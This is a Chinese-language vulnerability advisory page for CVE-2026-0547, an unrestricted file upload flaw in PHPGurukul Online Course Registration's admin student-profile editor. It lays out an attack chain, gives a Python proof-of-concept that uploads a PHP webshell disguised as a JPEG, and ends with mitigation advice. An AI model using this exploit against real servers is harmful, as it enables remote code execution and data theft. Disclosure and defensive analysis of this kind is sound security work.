IPBUF安全漏洞报告
English
CVE-2026-0547 CVSS 6.3 中危

CVE-2026-0547: PHPGurukul在线课程注册系统文件上传漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-0547
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Course Registration

相关标签

任意文件上传CVE-2026-0547PHPGurukulWeb应用安全远程代码执行在线课程系统文件上传漏洞中危漏洞

漏洞概述

CVE-2026-0547是PHPGurukul在线课程注册系统中的一个高危安全漏洞,该系统是一款基于PHP和MySQL开发的开源在线课程管理平台。该漏洞存在于管理后台的学生档案编辑功能中,具体位于/admin/edit-student-profile.php文件。攻击者可以通过该漏洞绕过正常的文件上传验证机制,上传任意类型的恶意文件到服务器,从而可能导致远程代码执行、敏感信息泄露或进一步的内网渗透攻击。由于该漏洞的利用复杂度较低且已有公开的利用代码,强烈建议受影响用户尽快采取修复措施。该漏洞影响版本从初始版本到3.1版本,CVSS评分为6.3,属于中危级别漏洞,但仍可能对系统安全造成严重威胁。

技术细节

该漏洞源于PHPGurukul在线课程注册系统的学生档案编辑功能对用户上传的头像文件缺乏充分的验证机制。在/admin/edit-student-profile.php文件中,系统接收用户提交的photo参数但未对文件类型、内容和扩展名进行严格的过滤和校验。攻击者可以利用这一点构造恶意的文件上传请求,上传包含PHP代码的.jpg或其他图片文件扩展名的文件。由于服务器配置不当或存在文件解析漏洞,这些伪装成图片的PHP文件可能被当作可执行脚本解析,从而实现任意代码执行。攻击者通常会先上传一个webshell,然后通过HTTP请求触发该shell,获得对服务器的持久化访问权限。漏洞的利用条件相对宽松,攻击者只需具备低权限的用户账号即可发动攻击,且无需任何用户交互。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的低权限用户账号或通过其他方式获取有效的会话Cookie
STEP 2
步骤2
构造包含恶意PHP代码的文件(如webshell),并伪装成图片文件格式
STEP 3
步骤3
向/admin/edit-student-profile.php发送POST请求,上传恶意文件
STEP 4
步骤4
服务器未正确验证文件类型和内容,直接保存上传的文件到可访问目录
STEP 5
步骤5
攻击者通过HTTP请求访问上传的恶意文件,触发PHP代码执行
STEP 6
步骤6
获得服务器的远程代码执行能力,可进一步进行内网渗透或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0547 PoC - Unrestricted File Upload in PHPGurukul Online Course Registration # Target: /admin/edit-student-profile.php def exploit(target_url, session_cookie, php_shell_path): """ Exploit for CVE-2026-0547 Args: target_url: Base URL of the vulnerable application session_cookie: Valid admin session cookie php_shell_path: Path to PHP webshell file """ upload_url = f"{target_url}/admin/edit-student-profile.php" # Prepare malicious file upload files = { 'photo': ('shell.php', open(php_shell_path, 'rb'), 'image/jpeg') } headers = { 'Cookie': session_cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully") print(f"[+] Access shell at: {target_url}/admin/uploaded_photos/shell.php") else: print("[-] Upload failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie> <php_shell_path>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

PHPGurukul Online Course Registration <= 3.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制/admin/edit-student-profile.php的访问权限,仅允许受信任的管理员访问;2)在Web服务器配置中禁用上传目录的PHP脚本执行权限;3)使用ModSecurity等WAF规则拦截异常的文件上传请求;4)对上传文件进行深度内容检测,删除包含<?php等PHP代码特征的文件;5)启用审计日志记录所有文件上传行为,便于安全事件调查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表